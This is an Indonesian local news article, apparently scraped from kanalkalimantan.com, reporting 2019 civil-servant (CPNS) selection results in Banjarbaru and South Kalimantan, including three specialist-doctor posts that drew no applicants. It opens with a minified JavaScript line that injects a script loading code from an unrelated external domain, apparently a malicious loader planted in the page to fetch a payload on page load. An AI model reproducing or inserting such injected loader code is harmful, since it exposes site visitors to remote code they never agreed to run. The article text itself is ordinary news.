(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Seleksi Calon Pegawai Negeri Sipil (CPNS) Pemkot Banjarbaru telah berakhir. Tercatat 93 peserta yang dinyatakan lulus dari 96 formasi yang disediakan yaitu 42 tenaga pendidik dan 54 tenaga kesehatan, sehingga membuat 3 formasi yang nihil pelamar.
“Ada tiga formasi yang kosong, karena memang dari awal tidak ada pendaftarnya. Yaitu formasi dokter spesialis jantung, patologi anatomi dan bedah syaraf,†kata Kepala Badan Kepegawaian, Pendidikan dan Pelatihan (BKPP) Banjarbaru Sri Lailana kepada kanalkalimantan.com.
Pejabat eselon II yang baru dilantik ini mengungkapkan, bagi peserta yang lulus diharuskan melakukan registrasi atau daftar ulang mulai tanggal 8 sampai 19 Januari 2019, dengan membawa kelengkapan administrasi.
“Berkas yang perlu dibawa diantaranya surat lamaran, fotokopi ijazah/STTB beserta transkrip nilai yang sudah dilegalisir, SKCK dan lain-lain,†ungkapnya.
Terpisah, Kabag TU RS Idaman Banjarbaru M Firmansyah mengatakan, pihaknya telah memprediksi formasi dokter spesialis bakal kosong pelamar.
“Sudah kami duga. Karena dokter spesialis sangat langka. Kalaupun ada, mereka memilih ke rumah sakit yang menawarkan tunjangan lebih besar dan fasilitas lengkap,†ucapnya.
Padahal, menurut Firmansyah saat ini RS Idaman sangat memerlukan dokter spesialis jantung, patologi anatomi dan bedah syaraf yang berstatus PNS. Sebab, selama ini mereka hanya ‘meminjam’ dari rumah sakit lain. “Kalau tidak ada dokter spesialis, terpaksa pasien kami rujuk ke rumah sakit lain,†katanya.
Selain Kota Banjarbaru, kelulusan seleksi CPNS Pemprov Kalsel juga sudah diumumkan satu hari lebih dulu, yaitu, pada Kamis (3/1) kemarin.
Kepala Badan Kepegawaian Daerah (BKD) Kalsel Perkasa Alam mengungkapkan, dari 664 peserta yang mengikuti tes SKB, total ada 328 yang lulus. “Jumlah yang lulus sesuai dengan total formasi,†ungkapnya.
Dia meminta, bagi peserta yang belum lulus agar jangan berkecil hati. Sebab, masih ada kesempatan di lain waktu. “Yang tidak lulus sabar dan ikhlas, karena itu sudah hasilnya,†ucapnya.
Dijelaskannya, peserta yang lulus memiliki nilai tertinggi di setiap formasi. Di mana nilai tersebut didapatkan dari penggabungan hasil tes SKD dan SKB. “Bagi yang lulus bisa melakukan pemberkasan pada tanggal 7 sampai 18 Januari,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.